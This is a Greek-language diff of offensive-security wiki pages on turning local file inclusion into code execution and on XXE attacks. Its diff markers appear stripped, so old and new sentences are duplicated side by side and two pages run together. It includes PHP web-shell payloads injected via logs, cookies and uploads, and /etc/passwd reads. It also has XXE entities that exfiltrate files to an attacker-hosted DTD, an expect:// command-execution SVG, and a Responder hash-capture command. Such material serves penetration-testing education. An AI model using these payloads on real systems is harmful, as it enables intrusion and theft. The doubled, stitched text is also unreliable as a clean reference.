Εάν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη λειτουργία include, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` ή `/var/log/nginx/access.log`**, ορίζοντας μέσα στον **user agent** ή μέσα σε μια **παράμετρο GET** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο.
> [!WARNING]
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει ένα σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
>
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά την payload** ή η PHP θα έχει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** ή η PHP θα έχει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL encoded και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα.\
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
@ -466,7 +512,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### Μέσω ανέβασμα
Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ : `<?php system($_GET['c']); ?>` ).
```
@ -480,7 +526,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
### Μέσω PHP συνεδριών
Ελέγξτε αν η ιστοσελίδα χρησιμοποιεί PHP Session (PHPSESSID)
```
@ -492,7 +538,7 @@ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Ορίστε το cookie σε `<?php system('cat /etc/passwd');?>`
Ρυθμίστε το cookie σε `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
@ -521,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο.
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php code** για την συμπερίληψη **χωρίς να χρειάζεται να το γράψετε** σε ένα αρχείο.
{{#ref}}
lfi2rce-via-php-filters.md
@ -529,7 +575,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια, στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -537,7 +583,7 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
Αν βρείτε μια **Local File Inclusion** και **Nginx** τρέχει μπροστά από το PHP, μπορεί να είστε σε θέση να αποκτήσετε RCE με την παρακάτω τεχνική:
Αν βρείτε μια **Local File Inclusion** και το **Nginx** τρέχει μπροστά από το PHP, μπορεί να είστε σε θέση να αποκτήσετε RCE με την παρακάτω τεχνική:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -561,7 +607,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το σενάριο `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατό να περάσετε παραμέτρους στο σενάριο μέσω της διεύθυνσης URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το σενάριο `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατόν να περάσετε παραμέτρους στο σενάριο μέσω της διεύθυνσης URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.
Η παρακάτω αίτηση δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
```bash
@ -582,7 +628,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
lfi2rce-via-phpinfo.md
{{#endref}}
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Αποκάλυψη Διαδρομής
Αν βρείτε μια **Local File Inclusion** και μπορείτε να **εξάγετε τη διαδρομή** του προσωρινού αρχείου ΑΛΛΑ ο **διακομιστής** **ελέγχει** αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να προσπαθήσετε να **παρακάμψετε αυτόν τον έλεγχο** με αυτή τη **Race Condition**:
@ -590,9 +636,9 @@ lfi2rce-via-phpinfo.md
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Μέσω αιώνιας αναμονής + bruteforce
### Μέσω αιώνιας αναμονής + brute force
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **δοκιμάσετε να βρείτε ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **δοκιμάσετε brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -611,6 +657,8 @@ _Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα πρ
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai Από Υποστήριξη Εισιτηρίου σε Zero Day (FreeFlow Core path traversal → αυθαίρετη εγγραφή → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -4,10 +4,10 @@
## XML Basics
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικών ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικά ονοματισμένων ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
- **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `&lt;` και `&gt;`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML.
- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και τι περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και ποιο περιεχόμενο μπορεί να περιέχουν, κυμαινόμενο από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
- **Ορισμός Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα.
- **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια.
@ -43,13 +43,13 @@
```
![](<../images/image (86).png>)
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων Portswigger)
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Δεν ισχύει για τα εργαστήρια του Portswigger)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
Σε αυτή την τρίτη περίπτωση παρατηρήστε ότι δηλώνουμε το `Element stockCheck` ως ANY
Σε αυτή την τρίτη περίπτωση παρατηρήστε ότι δηλώνουμε το `Element stockCheck` ως ANY.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -68,7 +68,7 @@
Σε εφαρμογές που βασίζονται σε **Java**, μπορεί να είναι δυνατό να **καταχωρήσετε τα περιεχόμενα ενός καταλόγου** μέσω XXE με ένα payload όπως (απλώς ζητώντας τον κατάλογο αντί για το αρχείο):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@ -111,7 +111,7 @@
- Μια άλλη οντότητα παραμέτρου XML, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL.
2. **Εκτέλεση Οντοτήτων:**
- Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`.
- Η οντότητα `%exfiltrate` χρησιμοποιείται στη συνέχεια, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου.
- Στη συνέχεια, η οντότητα `%exfiltrate` χρησιμοποιείται, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου.
Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε μια διεύθυνση URL όπως `http://web-attacker.com/malicious.dtd`.
@ -125,12 +125,12 @@
### Error Based(External DTD)
**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα δείξει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε τα μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
Ένα μήνυμα σφάλματος ανάλυσης XML, αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των παρακάτω βημάτων:
1. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `file`, η οποία περιέχει τα περιεχόμενα του αρχείου `/etc/passwd`.
2. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη XML παράμετρο οντότητας με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως το όνομά της.
2. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη XML παράμετρο οντότητας με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως όνομά της.
3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`.
4. Η κλήση της οντότητας `error` έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει τα περιεχόμενα του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου.
@ -168,7 +168,7 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
Οι καθορισμένες διαδικασίες εκτελούνται από αυτό το DTD:
- Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που ορίστηκε αρχικά στο εξωτερικό DTD, για να περι encapsulate μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
- Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται το εξωτερικό DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση.
**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`.
@ -188,7 +188,7 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
```
![](<../images/image (625).png>)
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **λαμβάνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει:
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **παίρνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -227,15 +227,15 @@ Testing 0 entities : []
Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο `./unzipped/word/document.xml` θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα.
Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε τη διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα.
Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε το URL με ένα παρακολουθήσιμο URL για τα αιτήματα.
Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η παρακάτω εντολή:
Τώρα, το δημιουργημένο αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη διαδικτυακή εφαρμογή, και μπορεί κανείς να ελπίζει ότι θα εμφανιστεί ένα αίτημα στα αρχεία καταγραφής του Burp Collaborator.
Τώρα, το δημιουργηθέν αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη διαδικτυακή εφαρμογή, και μπορεί κανείς να ελπίζει ότι θα εμφανιστεί ένα αίτημα στα αρχεία καταγραφής του Burp Collaborator.
### Jar: πρωτόκολλο
Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **εφαρμογών Java**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία.
Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **Java εφαρμογών**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -245,7 +245,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα:
1. Γίνεται ένα HTTP αίτημα για να κατεβάσετε το αρχείο zip από μια καθορισμένη τοποθεσία, όπως `https://download.website.com/archive.zip`.
1. Γίνεται ένα HTTP αίτημα για να κατεβάσετε το zip αρχείο από μια καθορισμένη τοποθεσία, όπως `https://download.website.com/archive.zip`.
2. Η HTTP απάντηση που περιέχει το αρχείο αποθηκεύεται προσωρινά στο σύστημα, συνήθως σε μια τοποθεσία όπως `/tmp/...`.
3. Το αρχείο στη συνέχεια εξάγεται για να αποκτήσετε πρόσβαση στα περιεχόμενά του.
4. Το συγκεκριμένο αρχείο μέσα στο αρχείο, `file.zip`, διαβάζεται.
@ -257,7 +257,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
<foo>&xxe;</foo>
```
> [!CAUTION]
> Η εγγραφή αρχείων σε έναν προσωρινό φάκελο μπορεί να βοηθήσει στην **κλιμάκωση μιας άλλης ευπάθειας που περιλαμβάνει διαδρομή διασύνδεσης** (όπως το local file include, template injection, XSLT RCE, deserialization, κ.λπ.).
> Η εγγραφή αρχείων σε έναν προσωρινό φάκελο μπορεί να βοηθήσει στην **κλιμάκωση μιας άλλης ευπάθειας που περιλαμβάνει διαδρομή διαδρομής** (όπως το local file include, template injection, XSLT RCE, deserialization, κ.λπ.).
### XSS
```xml
@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
#### Λήψη NTML
Σε υπολογιστές Windows είναι δυνατή η λήψη του NTML hash του χρήστη του web server ρυθμίζοντας έναν χειριστή responder.py:
Σε Windows hosts είναι δυνατή η λήψη του NTML hash του χρήστη του web server ρυθμίζοντας έναν handler responder.py:
```bash
Responder.py -I eth0 -v
```
@ -322,19 +322,19 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως έγγραφα γραφείου (DOCX) και εικόνες (SVG) βασίζονται σε XML.
Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμη και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
Ένα παράδειγμα μιας τέτοιας εκμετάλλευσης φαίνεται παρακάτω, όπου μια κακόβουλη εικόνα SVG προσπαθεί να διαβάσει αρχεία συστήματος:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Μια άλλη μέθοδος περιλαμβάνει την προσπάθεια **εκτέλεσης εντολών** μέσω του PHP "expect" wrapper:
Μια άλλη μέθοδος περιλαμβάνει την προσπάθεια **εκτέλεσης εντολών** μέσω του wrapper PHP "expect":
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκκινήσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας.
Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας.
Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες!
@ -350,7 +350,7 @@ file-upload/pdf-upload-xxe-and-cors-bypass.md
### Content-Type: Από x-www-urlencoded σε XML
Εάν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, θα μπορούσατε να προσπαθήσετε να εκμεταλλευτείτε μια XXE σε εκείνο το αίτημα. Για παράδειγμα, εάν ένα κανονικό αίτημα περιέχει τα εξής:
Εάν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, θα μπορούσατε να προσπαθήσετε να εκμεταλλευτείτε μια XXE σε αυτό το αίτημα. Για παράδειγμα, εάν ένα κανονικό αίτημα περιέχει τα εξής:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
@ -408,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
### UTF-7
